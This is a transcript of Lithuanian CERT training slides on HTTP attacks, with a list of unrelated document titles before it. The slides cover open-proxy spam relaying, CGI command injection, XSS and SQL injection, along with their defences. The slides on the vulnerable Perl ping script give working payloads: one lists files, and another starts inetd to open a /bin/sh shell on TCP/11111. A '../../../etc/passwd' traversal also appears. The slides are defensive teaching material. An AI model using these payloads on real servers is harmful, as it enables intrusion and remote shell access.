Marius Urkis LITNET CERT.

Panašūs dokumentai
DB sukūrimas ir užpildymas duomenimis

Longse Wi-Fi kameros greito paleidimo instrukcija 1. Jums prireiks 1.1. Longse Wi-Fi kameros 1.2. Vaizdo stebėjimo kameros maitinimo šaltinio 1.3. UTP

MAGENTO 1.9 OMNIVA MODULIO DIEGIMO INSTRUKCIJA

PATVIRTINTA Valstybinės kainų ir energetikos kontrolės komisijos pirmininko 2017 m. d. įsakymu Nr. O1- VALSTYBINĖS KAINŲ IR ENERGETIKOS KONTROLĖS KOMI

Pardavimų aplikacija (Microsoft Dynamics AX (Axapta) sistemai) Diegimo instrukcija bifree.lt qlik.com

Lietuvos mokslo ir studijų institucijų kompiuterių tinklas LITNET Vilniaus universitetas Mokslininko darbo vietos paslauga Paslaugos naudojimo instruk

NACIONALINIS KIBERNETINIO SAUGUMO CENTRAS Tel El. p. NACIONALINIS KIBERNETINIO SAUGUMO CENTRAS PRIE KRAŠTO APSA

Specialiosios_SoyouStart_dedikuoto_serverio_nuomos_sutarties_salygos

K9 WebProtection (toliau K9) programa yra nemokama asmeniniam naudojimui. Programa suderinama su Windows Vista, Windows 7, Windows 10 ir Mac operacinė

NACIONALINIS KIBERNETINIO SAUGUMO CENTRAS Tel El. p. NACIONALINIS KIBERNETINIO SAUGUMO CENTRAS PRIE KRA

Administravimo vadovas SAFTit Pro v3

MUITINĖS DEPARTAMENTAS PRIE LIETUVOS RESPUBLIKOS FINANSŲ MINISTERIJOS BENDRO NAUDOTOJŲ VALDYMO SISTEMOS, ATITINKANČIOS EUROPOS KOMISIJOS REIKALAVIMUS,

RR-GSM_IM_LT_110125

PRESTASHOP 1.7 OMNIVA MODULIO DIEGIMO INSTRUKCIJA

Microsoft Word - AUTOSERVISO MODULIS

P. Kasparaitis. Praktinė informatika. Skriptų vykdymas ir duomenų valdymas Skriptų vykdymas ir duomenų valdymas Įvadas Skripto failas tai M

LIETUVOS RESPUBLIKOS RYŠIŲ REGULIAVIMO TARNYBOS TINKLŲ IR INFORMACIJOS SAUGUMO DEPARTAMENTO SAUGUMO INCIDENTŲ TYRIMŲ SKYRIUS (CERT-LT) 2016 METŲ VEIKL

EDUKA DIENYNO IR EDUKA KLASĖS INTEGRACIJA KAIP NAUDOTIS EDUKA KLASĖS IR DIENYNO INTEGRACIJA?... 2 Kaip prisijungti prie EDUKA klasės?... 2 Kaip įkelti

Techninė dokumentacija Qlik Sense architektūros apžvalga 2015 m. gruodis qlik.com

Mano ERGO savitarnos sistema mano.ergo.lt (Naudotojo atmintinė) 1) Kaip prisijungti prie savitarnos sistemos? 1. Naršyklės lange įveskite mano.ergo.lt

Banko_paslaugu_internetu_teikimo_salygos_

Muzikos duomenų bazės NAXOS Music Library naudojimo vadovas Turinys Kas yra NAXOS Music Library... 2 Kaip pradėti naudotis... 3 Kaip atlikti paiešką..

A. Merkys ASOCIACIJA LANGAS Į ATEITĮ, 2015 m. Elektroninis mokymasis Tikriausiai šiais laikais daugelis esate girdėję apie elektroninį bei nuotolinį m

Cloud_sprendimu_salygos.pdf

Individualus projektas Programa TE-PM, TE-PS, TE-SL, TEstream 4, TEstream 6, TEstream 8, TEstreamOBD 4, TEstreamOBD 6, TEstreamOBD 8 sistemų naudotoja

PS Testavimo ir konfigūravimo valdymas Užduotis nr. 1. Karolis Brazauskas Mindaugas Rekevičius Jonas Riliškis Eugenijus Sabaliauskas

LMTA prenumeruojamos duomenų bazės

Automatinis skolinimas Automatinio skolinimo paslauga automatiškai teikia pasiūlymus paskolų prašymams pagal Jūsų pasirinkto portfelio rinkinio nustat

File Transfer programinės įrangos naudotojo instrukcija

Slaptažodžių generatoriaus naudojimo instrukcija Slaptažodžių generatorius tai aukščiausius saugumo reikalavimus atitinkantis įrenginys, kuris generuo

Hands-on exercise

PowerPoint Presentation

Masyvas su C++ Užduotys. Išsiaiškinkite kodą (jei reikia pataisykite) ir paleiskite per programą. Ciklo skaitliuko įrašymas į vienmatį masyvą: #includ

Microsoft Word - Dambrauskas_magistrinis.doc

XVR įrašymo įrenginys Vartotojo vadovas Versija

CompoundJS Node on rails

MBP85CONNECT_EU_EN.book

DBVS realizavimas Pagrindiniai DBVS komponentai Duomenų saugojimas diske Paruošė J.Skučas

Pensijų sistemos reforma PRIVATUMO POLITIKA Šios privatumo politikos tikslas. Ši privatumo politika ( Privatumo politika ) nustato asmens duomenų tvar

Slide 1

Microsoft Word - 15_paskaita.doc

JABRA REVO WIRELESS Naudotojo Vadovas jabra.com/revowireless

UAB VALENTIS PRIVATUMO POLITIKA Uždaroji akcinė bendrovė Valentis (toliau Valentis arba mes), įgyvendindama 2016 m. balandžio 27 d. Europos Parlamento

EUROPOS KOMISIJA Briuselis, C(2017) 4679 final KOMISIJOS ĮGYVENDINIMO SPRENDIMAS (ES) / dėl bendros sistemos techninių standa

PowerPoint Presentation

Valdiklis su vidiniu keturių dažnių GSM/GPRS/3G modemu MCL 5 IP Naudotojo vadovas Versija 2.0 UAB NAVITUS LT Lietuva, 2018

GPAIS vartotojo vadovas savivaldybėms GPAIS VARTOTOJO VADOVAS SAVIVALDYBIŲ PILDOMAI INFORMACIJAI GPAIS TURINYS 1. BENDRI DARBO SU GPAIS PRINCIPAI... 2

DIGIPASS DP 260 VARTOTOJO INSTRUKCIJA

REKOMENDACIJA ASMENS DUOMENŲ IR PRIVATUMO APSAUGA NAUDOJANTIS BELAIDŽIAIS TINKLAIS ĮŽANGA Skaitmeniniame pasaulyje mūsų privatumas ir asmens duomenų s

G L v SEB bankas nuasmeninta

Java esminės klasės, 1 dalis Išimtys, Įvestis/išvestis

LIETUVOS RESPUBLIKOS RYŠIŲ REGULIAVIMO TARNYBA STRATEGIJOS DEPARTAMENTAS EKONOMINĖS ANALIZĖS SKYRIUS 2017 M. I KETVIRTĮ VYKDYTOS ELEKTRONINIŲ RYŠIŲ VE

Layout 1

User Guide

Tiesioginio-debeto-paslaugos-duomenu-apsikeitimo-formatu-aprasas

PATVIRTINTA Kauno sporto mokyklos Startas Direktoriaus 2019 m. balandžio 23 d. įsakymu Nr KAUNO SPORTO MOKYKLOS STARTAS PRIVATUMO POLITIKA Kauno

DUOMENŲ TEIKIMO SUTARČIŲ REGISTRUI ELEKTRONINIU BŪDU

brosiura A5 lt.indd

Microsoft Word - B AM MSWORD

VALSTYBINIO SOCIALINIO DRAUDIMO FONDO VALDYBOS

HISREP sutartis notarams

TVARKOMŲ ASMENS DUOMENŲ SAUGUMO PRIEMONIŲ IR RIZIKOS VERTINIMO GAIRĖS ASMENS DUOMENŲ VALDYTOJAMS IR TVARKYTOJAMS Šios gairės parengtos remi

KTU BIBLIOTEKOS PASLAUGOS

2016_Radviliskio_vanduo_Reguliuojamos_veiklos_Isvada_Atask_

Microsoft PowerPoint - WACC ir BU-LRAIC klausimyno pristatymas ppt

PowerPoint Presentation

Title

NKSC prie KAM Inovacijų ir mokymų skyrius Lietuvoje parduodamos WiFi įrangos kibernetinio saugumo vertinimas GAMINTOJO D-Link PROD

PowerPoint Presentation

LT11526 Antrasis leidimas Gegužė 2016 Elektroninis vadovas

Microsoft Word - DV_Rekomendacijos2

NAUDOTOJO VADOVAS Turinys I. Įžanga... 3 II. Prisijungimas... 3 III. Darbo pradžia... 5 IV. Metaduomenų įvedimas. Pirm

RET2000 Elektronisis Skaitmeninis Termostatas su LCD

LT.doc

Sistemos specifikacija

NACIONALINIS KIBERNETINIO SAUGUMO CENTRAS Tel El. p. NACIONALINIS KIBERNETINIO SAUGUMO CENTRAS PRIE KRAŠTO APSA

Lietuvos mokslo ir studijų institucijų kompiuterių tinklas LITNET Vilniaus universitetas Failų dėtuvės paslauga Paslaugos administravimo instrukcija P

Microsoft Word - SDH2.doc

VALSTYBINĖS MOKESČIŲ INSPEKCIJOS

NEKILNOJAMO TURTO KADASTRO DUOMENŲ TEIKIMO IŠVADAI GAUTI EL. PASLAUGA: NAUDOTOJO VADOVAS NŽT DARBUOTOJAMS (V.1) VILNIUS 2017

Slide 1

AAA.AIEPI.Mokymu_medziaga_MOK_VI_07.Vandens_inventorizacijos_duomenu_tvarkymas.v.0.4

Algoritmai ir duomenų struktūros (ADS) 2 paskaita Saulius Ragaišis, VU MIF

UAB AMEA Business Solutions Praktiniai IT Sprendimai smulkioms ir vidutin ms mon ms Direktor, Jurgita Vitkauskait , K

Atviro konkurso sąlygų 4 priedas BENDROJO PAGALBOS CENTRO INFORMACINĖS SISTEMOS APTARNAVIMO PASLAUGŲ TEIKIMO SPECIFIKACIJA 1. Pirkimo objektas Bendroj

LIETUVOS RESPUBLIKOS AZARTINIŲ LOŠIMŲ ĮSTATYMO NR. IX-325 2, 10, 15, 16, 29 STRAIPSNIŲ PAKEITIMO IR ĮSTATYMO PAPILDYMO 15 1, 16 1 STRAIPSNIAIS ĮSTATYM

I. KREDITO PARAIŠKOS IR KIT DOKUMENT PATEIKIMAS FINANSAVIMO ETAPAI KININKAMS Užpildykite kredito paraišk ir perduokite savo kredito vadybininkui arba

Slide 1

VISŲ TIPŲ IR GAMINTOJŲ MEMBRANINIAI DUJŲ SKAITIKLIAI 1. Skaitiklių savybės. Visų tipų ir gamintojų membraniniai dujų skaitikliai indikuoja vieną rodme

Dažniausios IT VBE klaidos

Vilius Nakutis

KRETINGOS RAJONO SAVIVALDYBĖS TARYBA SPRENDIMAS DĖL KRETINGOS RAJONO SAVIVALDYBĖS TARYBOS 2012 M. SAUSIO 26 D. SPRENDIMO NR. T2-6 DĖL PRIĖMIMO Į KRETI

Projektas LIETUVOS RESPUBLIKOS RYŠIŲ REGULIAVIMO TARNYBOS DIREKTORIUS ĮSAKYMAS DĖL RADIJO RYŠIO PLĖTROS MHz RADIJO DAŽNIŲ JUOSTOJE PLANO PAT

Techninis aprašymas Tolygaus valdymo pavara AME 435 Aprašymas Vožtuvo srauto reguliavimo funkciją. Srautą galima įvairiai reguliuoti nuo tiesinio iki

Slide 1

Lietuvos mokslo ir studijų institucijų kompiuterių tinklas Litnet Vilniaus Gedimino technikos universitetas Virtualių serverių paslauga Paslaugos apra

Švietimo programos priemonių aprašymas Eil. nr. Priemonė Tikslinės grupės Aprašymas Įgyvendinimo terminai ir tikslas (skaitinė reikšmė) Planas Faktas

Transkriptas:

Marius Urkis http://cert.litnet.lt http://cert.litnet.lt 1

HTTP protokolas HTTP plaiausi pritaikym turintis protokolas Request For Comments RFC1945 RFC2616 RFC2817 HTTP protokolas, gyjs plat pritaikymvairiose srityse. Jis naudojamas: Informacijai gauti, ieškoti, talpinti Finansinms operacijoms atlikti Tvarkyti apartin ir programinrang Pokalbiams Žaidimams... Todl, yra labai svarbu suprasti atakas, vykdomas per HTTP prieš taikomasias programas, prieš tinklo infrastuktr, prieš HTTP protokolo vartotojus. http://cert.litnet.lt 2

Prieš HTTP serverio konfigracij Prieš HTTP taikomsias programas Prieš HTTP serverio saugumo spragas Atakas galima suskirstyti kelias kategorijas: Atakuojama HTTP paslauga (serveris), bandant išnaudoti administratoriaus paliktas klaidas serverio konfigracijoje Atakos gali bti nukreiptos prieš WWW taikomsias programas, kuriose klaidas paliko programuotojai HTTP servisins programos taip pat neretai turi saugumo sprag, kuriomis užpuolikai gali bandyti pasinaudoti http://cert.litnet.lt 3

Skenavimai Dažnai pastebimi skenavimai: Tcp/80 Tcp/8080 Tcp/3128 11.09 17:34:04 193.219.68.118 24.147.135.198 3128 4974 6 120 11.09 17:34:04 193.219.68.117 24.147.135.198 1080 4974 6 120 11.09 17:34:04 193.219.68.120 24.147.135.198 3128 4974 6 80 11.09 17:34:04 193.219.68.117 24.147.135.198 3128 4974 6 120 11.09 17:35:08 193.219.69.116 24.147.135.198 1080 4150 6 120 11.09 17:38:19 193.219.77.1 24.147.135.198 1080 3995 6 120 Dažnai yra pastebimi SYN skenavimai, kuri paskirtis rasti proxy servisus (TCP/8080, TCP/1080, TCP/3128). Skenuotojai taip pat tikrina ir HTTP paslaugas (TCP/80) http://cert.litnet.lt 4

Skenavimo pavyzdys T xxx.226.148.106:2765 -> 193.219.yyy.100:8080 [S] T xxx.226.148.106:2765 -> 193.219.zzz.49:8080 [S] T xxx.226.148.106:2765 -> 193.219.yy.96:8080 [S] T 193.219.yy.96:8080 -> xxx.226.148.106:2765 [AR] T xxx.226.148.106:2765 -> 193.219.zzz.49:3128 [S] T xxx.226.148.106:2765 -> 193.219.www.179:8080 [S] T xxx.226.148.106:2765 -> 193.219.yy.149:8080 [S] T xxx.226.148.106:2765 -> 193.219.yyy.100:3128 [S] T xxx.226.148.106:2765 -> 193.219.hhh.167:1080 [S] T xxx.226.148.106:2765 -> 193.219.ww.179:3128 [S] T xxx.226.148.106:2765 -> 193.219.yy.149:3128 [S] T xxx.226.148.106:2765 -> 193.219.zz.73:3128 [S] T xxx.226.148.106:2765 -> 193.219.qqq.33:1080 [S] http://cert.litnet.lt 5

Skenavim turinys T 2004/11/16 06:12:14.962906 ZZ.64.204.230:1996 -> 193.219.xx.32:80 [AP] CONNECT mx0.domainsite.com:25 HTTP/1.0... T 2004/11/16 06:12:14.962907 ZZ.64.204.230:1996 -> 193.219.xx.32:80 [AP] CONNECT mx0.domainsite.com:25 HTTP/1.0... T 2004/11/16 06:12:14.962907 ZZ.64.204.230:1996 -> 193.219.xx.32:80 [AP] CONNECT mx0.domainsite.com:25 HTTP/1.0... T XXX.226.148.106:56757 -> 193.219.yyy.101:8080 [AP] CONNECT ZZZ.16.144.250:25 HTTP/1.0..User-Agent: yaph-0.91... T XXX.226.148.106:43708 -> 193.219.zz.12:8080 [AP] CONNECT ZZZ.16.144.250:25 HTTP/1.0..User-Agent: yaph-0.91... T XXX.226.148.106:47747 -> 193.219.qq.30:1080 [AP] CONNECT ZZZ.16.144.250:25 HTTP/1.0..User-Agent: yaph-0.91... Peržirjus toki skenavim aplication lygio turin galima aptikti vien bendr bruož: visi HTTP skenavimai ieško serviso, priimanio CONNECT užklausas. Pagal RFC2616 (HTTP 1.1), CONNECT metodas reikalingas proxy servisams tuneliavimo funkcijai atlikti. Pagal RFC2817 (Upgrading to TLS Within HTTP/1.1), CONNECT metodas yra reikalingas tam, kad bt galima prašyti tunelio per proxy server. CONNECT metodui nurodomas URI, kur turi eiti kompiuterio adresas ir porto numeris, kur norima jungtis. Po CONNECT eiluts gali eiti 0 arba daugiau HTTP antraši eilui. Po dviej tuši eilui proxy serveriui galima sisti tuneliuojamus duomenis. Tame paiame RFC nurodoma, jog reikalinga riboti kokius portus leidžiama atlikti tuneliavim. Tuneliavimas TCP/25 (SMTP) port nurodomas kaip potencialiai pavojingas, kadangi jo pagalba galima masin SPAM platinim. http://cert.litnet.lt 6

Apsaugotos sistemos atsakas T 2004/11/16 07:28:36.047769 193.219.zzz.106:80 -> XX.65.210.200:2463 [AP] HTTP/1.1 405 Method Not Allowed..Date: Tue, 16 Nov 2004 05:28:35 GMT..Server: Apache/1.3.31 (Debian GNU/Linux) mod_jk/1.2.1 PHP/4.3.9-1..Allow: GET, HEAD, POST, PUT, DELETE, CONNECT, OPTIONS, PATCH, PROPFIND, PROPPATCH, MKCOL, COPY, MOVE, LOCK, UNLOCK, TRACE..Connection: close..content-type: text/html; charset=iso-8859-1...<!doctype HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">.<HTML><HEAD>.<TITLE>405 Method Not Allowed</TITLE>.</HEAD><BODY>.<H1>Method Not Allowed</H1>.The requested method CONNECT is not allowed for the URL /index.html.<p>.<hr>.<address>apache/1.3.31 Server at ns.domenas.lt Port 80</ADDRESS>.</BODY></HTML>. Tinkamai sutvarkyta ir apsaugota sistema tokius kreipinius atsako klaidos kodu (pvz 405 Method Not Allowed) http://cert.litnet.lt 7

Pažeidžiamos sistemos atsakas T WW.112.195.46:4650 -> 193.219.xx.193:3128 [AP] CONNECT 64.156.215.6:25 HTTP/1.0... T 193.219.xx.193:3128 -> WW.112.195.46:4650 [AP] HTTP/1.0 200 Connection established..proxy Sistema, leidžianti tokio tipo tuneliavim, užklaus atsako kodu 2XX http://cert.litnet.lt 8

SPAM platinimas T WW.112.195.46:4650 -> 193.219.xx.193:3128 [AP] CONNECT zz.156.215.6:25 HTTP/1.0... T 193.219.xx.193:3128 -> WW.112.195.46:4650 [AP] HTTP/1.0 200 Connection established..proxy T 193.219.xx.193:3128 -> WW.112.195.46:4650 [AP] 220 YSmtp aaa.bbb.yahoo.com ESMTP T 193.219.xx.193:3128 -> WW.112.195.46:4650 [AP] 250 aaa.bbb.yahoo.com.. T 193.219.xx.193:3128 -> WW.112.195.46:4650 [AP] 250 sender <xxxxxxx@yahoo.com> ok.. T WW.112.195.46:4650 -> 193.219.xx.193:3128 [AP] RCPT TO: <yyyyyyy@geocities.com>.. T WW.112.195.46:4650 -> 193.219.xx.193:3128 [AP] RCPT TO: <zzzzzzzz@geocities.com>.. T 193.219.xx.193:3128 -> WW.112.195.46:4650 [AP] 250 recipient <yyyyyyyy@geocities.com> ok.. Skenuotojai aptik tok neapsaugot proxy servis pradeda masin SPAM laišk platinim. http://cert.litnet.lt 9

Piktybiniai proxy 193.219.YYY.71 TCP/14977 HTTP proxy SMTP TCP/25 XX.90.79.58 ZZ.12.137.184 Neretai, po silaužimo kompiuter, ar kompiuterio užkrtimo, jame paliekamas pašalinis piktybinis proxy servisas, leidžiantis atlikti masin laišk platinim. Pavyzdyje: silaužta kompiuter 193.219.YYY.71. Jame paliktas HTTP proxy servisas (TCP/14977) Kompiuteris XX.90.79.58 jungiasi 193.219.YYY.71 ir prašo tuneliuoti srautus ZZ.12.137.184:25 Kompiuteris 193.219.YYY.71 atlieka prisijungim prie ZZ.12.137.184:25 http://cert.litnet.lt 10

Piktybinio proxy pavyzdys T XX.90.79.58:34734 -> 193.219.YYY.71:14977 [AP] CONNECT ZZ.12.137.184:25 HTTP/1.0... T 193.219.YYY.71:14977 -> XX.90.79.58:34734 [AP] HTTP/1.0 200 Connection established... T XX.90.79.58:34734 -> 193.219.YYY.71:14977 [AP] HELO ynfkgic.. T 193.219.YYY.71:2787 -> ZZ.12.137.184:25 [AP] HELO ynfkgic.. T ZZ.12.137.184:25 -> 193.219.YYY.71:2787 [AP] 250 AAA.BBB.CCC.com OK.. T 193.219.YYY.71:14977 -> XX.90.79.58:34734 [AP] 250 AAA.BBB.CCC.com OK.. http://cert.litnet.lt 11

Serviso patikrinimas [1] > telnet 193.219.XX.33 8080 Trying 193.219.XX.33... Connected to 193.219.XX.33. Escape character is '^]'. CONNECT smtp.domain.lt:25 http/1.0 HTTP/1.0 200 Connection established Proxy-agent: WinRoute Pro/4.2.5 220 smtp.domain.lt ESMTP daemon lives here Patikrinti, ar serveris neleidžia tuneliavimo 25 port, galima taip: Reikia su klientine telnet programa prisijungti prie serverio HTTP (proxy) porto vesti komand CONNECT smtp_serveris.lt:25 HTTP/1.0 ir dukart paspausti Enter Jei serveris sutvarkytas neteisingai ir leidžia TCP/25 tuneliavim, gaunamas patvirtinimas (HTTP gržinimo kodas 200) bei SMTP serverio pasisveikinimas. http://cert.litnet.lt 12

Serviso patikrinimas [2] > telnet www.domain.lt 80 Trying 193.219.XXX.32... Connected to www.domain.lt. Escape character is '^]'. CONNECT smtp.domain.lt:25 http/1.0 HTTP/1.1 405 Method Not Allowed Date: Wed, 01 Dec 2004 11:34:39 GMT Server: Apache Allow: GET, HEAD, POST, PUT, DELETE, CONNECT, OPTIONS, PATCH, PROPFIND, PROPPATCH, MKCOL, COPY, MOVE, LOCK, UNLOCK, TRACE Connection: close Content-Type: text/html; charset=iso-8859-1 <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <HTML><HEAD> <TITLE>405 Method Not Allowed</TITLE> </HEAD><BODY> <H1>Method Not Allowed</H1> The requested method CONNECT is not allowed for the URL /index.html.<p> </BODY></HTML> Connection closed by foreign host. Teisingai sutvarkyti serveriai turi gržinti klaidos kod 4XX, pvz: HTTP/1.1 405 Method Not Allowed http://cert.litnet.lt 13

CGI pažeidžiamumai. Vartotojo vedama informacija /bin/sh Perl system() open() Php Fail vardai (http://example.com/page.php?../../../etc/passwd ) Globals kintamieji Kita atak grup atakos prieš taikomsias programas. Viena išprast programuotoj klaid nepakankama vartotojo vedamos informacijos kontrol. Viena iš pavojingiausi toki sprag leidžia parametrais perduoti serveryje vykdomai programai užslptas komandas, kurios taip pat vykdomos serveryje. Pavyzdžiui: Tokios komandos gali bti perduodamos UNIX shell skriptams, panaudojant specialius simbolius, kuriuos UNIX shell interpretuoja ir paleidžia subshell aplinkas. Perl funkcijoms system(), open() ir panašioms tarp argument padavus specialius shell simbolius, jie taip pat gali bti interpretuoti UNIX shell aplinkoje http://cert.litnet.lt 14

CGI pažeidžiamumai. Pvz [1] #!/usr/bin/perl # use CGI; $query=new CGI; $ip=$query->param('ip'); print $query->header, $query->start_html, $ip,":<p>"; open (OUT, "/bin/ping -c 4 $ip "); while (<OUT>) { print $_,"<br>"; } Pažeidžiamo perl skripto pavyzdys. Šio skripto paskirtis atlikti ryšio testavim, vykdant ping komand su vartotojo perduotu IP adresu. Programa naršyklei perduoda tai, k išveda ping. http://cert.litnet.lt 15

CGI pažeidžiamumai. Pvz [2] http://xxx.ktu.lt/cgi-bin/test/test.pl?ip=193.219.61.11 193.219.61.11: PING 193.219.61.11 (193.219.61.11) from 193.219.xxxx : 56(84) bytes of data. 64 bytes from 193.219.61.11: icmp_seq=1 ttl=64 time=0.172 ms 64 bytes from 193.219.61.11: icmp_seq=2 ttl=64 time=0.159 ms 64 bytes from 193.219.61.11: icmp_seq=3 ttl=64 time=0.287 ms 64 bytes from 193.219.61.11: icmp_seq=4 ttl=64 time=0.175 ms --- 193.219.61.11 ping statistics --- 4 packets transmitted, 4 received, 0% loss, time 3016ms rtt min/avg/max/mdev = 0.159/0.198/0.287/0.052 ms Tokio skripto iškvietimas ir išvedama informacija. http://cert.litnet.lt 16

CGI pažeidžiamumai. Pvz [3] http:// XXX.ktu.lt/cgibin/test/test.pl?ip=0 ls%20-l%20/ 0 ls -l /: total 1541 drwxr-xr-x 2 root root 2048 Nov 8 17:53 bin drwxr-xr-x 2 root root 1024 Nov 19 12:08 boot drwxr-xr-x 2 root root 1024 Sep 30 2003 cdrom drwxr-xr-x 9 root root 21504 Nov 22 00:03 dev drwxr-xr-x 56 root root 3072 Nov 19 12:10 etc drwxr-xr-x 3 root root 1024 Apr 9 2004 export drwxr-xr-x 2 root root 1024 Sep 30 2003 floppy drwxr-xr-x 15 root root 4096 Oct 15 15:22 home drwxr-xr-x 5 root root 4096 Nov 24 2003 lib drwx------ 2 root root 12288 Sep 30 2003 lost+found Bet, kadangi skripte nra parametr tikrinimo, galima parametrus suformuoti taip, kad serveryje btvykdyta tam tikra vartotojo norima komanda. Pavyzdyje panaudojamas pipe simbolis, ir nurodoma vykdyti komand ls l /. Rezultatas išvedamas serverio šakninio katalogo turinys. http://cert.litnet.lt 17

CGI pažeidžiamumai. Pvz [4] http:// XXX.ktu.lt/cgibin/test/test.pl?ip=0 ls%20-l%20/ open (OUT, "/bin/ping -c 4 0 ls l / "); while (<OUT>) { print $_,"<br>"; } Iš tikro, argumentus staius paduodam parametr reikšmes, serveryje yra vykdoma tokia komamda: "/bin/ping -c 4 0 ls l / Komanda vykdoma tokiomis teismis, kokiomis yra paleistas HTTP servisas. http://cert.litnet.lt 18

CGI pažeidžiamumai. Pvz [5] http:// XXX.ktu.lt/cgibin/test/test.pl?ip=0 echo 11111 stream tcp nowait web /bin/sh > /tmp/hck http:// XXX.ktu.lt/cgibin/test/test.pl?ip=0 inetd /tmp/hck Kitas šio skripto spagos išnaudojimo pavyzdys: Pirmasis kreipinys sukuria fail /tmp/hck, kurio turinys: 11111 stream tcp nowait web /bin/sh Antras kreipinys paleidžia inetd servis su konfigracija /tmp/hck Šie du žingsniai faktiškai sukuria servis ant porto TCP/11111, prie kurio prisijungus paleidžiamas UNIX shell. http://cert.litnet.lt 19

CGI pažeidžiamumai. Pvz [6] root@xxx:/tmp# ls -l /tmp/hck -rw-r--r-- 1 web web 36 Nov 22 14:45 /tmp/hck root@xxx:/tmp# ps aux grep inetd root 19291 0.0 0.0 1396 1008? S Nov19 0:00 /usr/sbin/inetd web 5237 0.0 0.0 1304 792? S 14:49 0:00 inetd /tmp/hck root@xxx:/tmp# lsof -p 5237 COMMAND PID USER FD TYPE DEVICE SIZE NODE NAME inetd 5237 web cwd DIR 33,1 1024 2 / inetd 5237 web rtd DIR 33,1 1024 2 / inetd 5237 web txt REG 33,6 18540 348575 /usr/sbin/inetd inetd 5237 web mem REG 33,1 90210 20485 /lib/ld-2.2.5.so inetd 5237 web mem REG 33,1 1153784 20488 /lib/libc-2.2.5.so inetd 5237 web 0u CHR 1,3 73611 /dev/null inetd 5237 web 1u CHR 1,3 73611 /dev/null inetd 5237 web 2u CHR 1,3 73611 /dev/null inetd 5237 web 4u IPv4 22720004 TCP *:11111 (LISTEN) Atlikus šiuos du kreipinius, serveryje atsiranda failas /tmp/hck bei servisas, aptarnaujantis TCP/11111 port. http://cert.litnet.lt 20

Perl: Cgi apsaugojimo priemons perl T use strict; PHP: if (ereg("^[a-z]+\.html$", $id)) { echo "Good!"; Apsisaugoti nuo toki sprag galima tik griežtai tikrinant vartotojvedamus parametrus, HTTP antraštes, cookie reikšmes. Perl kalboje, laikytis griežt programavimo taisykli priveria perl paleidimo raktas T (taint režimas) ir modulis strict. Taint režimas neleidžia nepakankamai patikrintoms parametr reikšmms patekti tam tikr funkcij argumentus. Strict režimas kontroliuoja globali kintamj panaudojim. Rekomenduojama strategija, filtruojant reikšmes iš parametro paimti tik simbolius iš aibs, kuri yra numats programuotojas. Nra rekomenduojama reikšmje ieškoti neleistin simboli ir juos naikinti ar nepraleisti, kadangi toki užbaigt aib numatyti yra sudtingiau. http://cert.litnet.lt 21

Cgi apsaugojimo priemons. Pavyzdys #!/usr/bin/perl -T # $ENV{'PATH'} ='/bin'; use CGI; $query=new CGI; $ip=$query->param('ip'); print $query->header, $query->start_html; print $ip,":<p>"; if ($ip=~ /(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})/) { $ip = $1; } else { print "Bad data<p>"; exit; } open (OUT, "/bin/ping -c 4 $ip "); while (<OUT>) { print $_,"<br>"; } Reikšmi filtravimo pavyzdys programuojant su perl Taint režimu. Iš IP parametro reikšms paimami tik tokie simboliai, kurie yra numatyti programuotojo (skaitmenins reikšms ir taškai). http://cert.litnet.lt 22

Cross Site Scripting, CSS/XSS <script>kodas... </script> HTTP <script>kodas... </script> HTTP WWW email Chat Skelbim lentos Svei knyga... Kitas dažnai pasitaikantis pažeidžiamumas Cross Site Scripting. Jo esm WWW serverio pagalba terpti www puslapius instrukcijas (javascript, Vbscript), kurias vliau vykdys kito vartotojo naršykl. Paprastai toki atak aukos bna www skelbim lent skaitytojai, pokalbi dalyviai, WWW el. pašto vartotojai. Pavyzdžiui, skelbimo lentoje užpuolikas palieka javascript kod. Kodas yra išsaugojamas WWW serveryje, ir kiekvienas vartotojas, peržirindamas ši skelbim lent, atsisis š javascript kod ir vartotojo naršykl j vykdys. http://cert.litnet.lt 23

CSS pavyzdys Išbandyti CSS veikim galima tinklapyje http://www.phy.duke.edu/~icon/work/clac/examples/inigo.php http://cert.litnet.lt 24

CSS pavyzdys http://cert.litnet.lt 25

CSS priešnuodžiai. Vartotojui Skript išjungimas Nespausti nuorod el. laiškuose Atsijungti iš tinklapio (logout) prieš jungiantis kitur Vartotojas saugotis nuo CSS atak gali: Naršyklje išjungdamas scripting funkcijas (nepopuliarus sprendimas, apkarpantis naršykls funkcionalum) Vengti sekti nuorodomis, gaunamomis el. paštu ar IRC kanalais) Atsijungti iš tinklapio prieš palikdamas j http://cert.litnet.lt 26

CSS priešnuodžiai. Serveris Programinranga atnaujinama nuolat Vieno prisijungimo (single sign-on) eliminavimas Dinaminio turino filtravimas, paliekant tik leistinus simbolius vedamos informacijos filtravimas, pašalinant neleistinus simbolius: < > % ; ) ( & + - Pagrindins priemons turi bti realizuotos serveryje. Taikomosios programos turi filtruoti simbolius, kuri pagalba galima suformuoti html kod. http://cert.litnet.lt 27

SQL injection SQL instrukcijterpimas WWW tinklapio parametrus taip, kad tos instrukcijos bt vykdytos SQL serveryje Dar viena pavojinga ataka SQL terpimas. Jos esm tarp parametrterpti SQL išraiškas taip, kad jas vykdyt SQL serveris. http://cert.litnet.lt 28

SQL injection. Pavyzdys <b>login Now</b> <form name="login" action="/support/dologin.asp" method="post"> Member Name: <input name="login_member" value=""> Password: <input name= login_password" value="" type="password"> <input name="login_save" value="1" checked="checked" type="checkbox"> Save name and password <input value="log Me In!" type="submit"> </form> Internete dažnai galima sutikti toki HTML form, kurios leidžia vesti prisijungimo vard ir slaptažod. http://cert.litnet.lt 29

SQL injection p_strusername = Request.Form("login_member ") p_strpassword = Request.Form( login_password") strsql = "SELECT * FROM tblusers " & _ "WHERE Username='" & p_strusername & _ "' and Password='" & p_strpassword & "'" SELECT * FROM tblusers WHERE Username= marius' and Password= slaptazodis123 If (aaa.eof) Then Response.Write "Invalid login." Else Response.Write "You are logged in as " & aaa("username") End If Dažnai vartotojai bna saugomi SQL duomen bazse. vesto vardo ir slaptažodžio teisingumo vertinimui yra vykdomas SQL SELECT kreipinys. vedus Login <- marius ir Password <- slaptazodis123 btvykdytas toks SELECT kreipinys: SELECT * FROM tblusers WHERE Username= marius'and Password= slaptazodis123 http://cert.litnet.lt 30

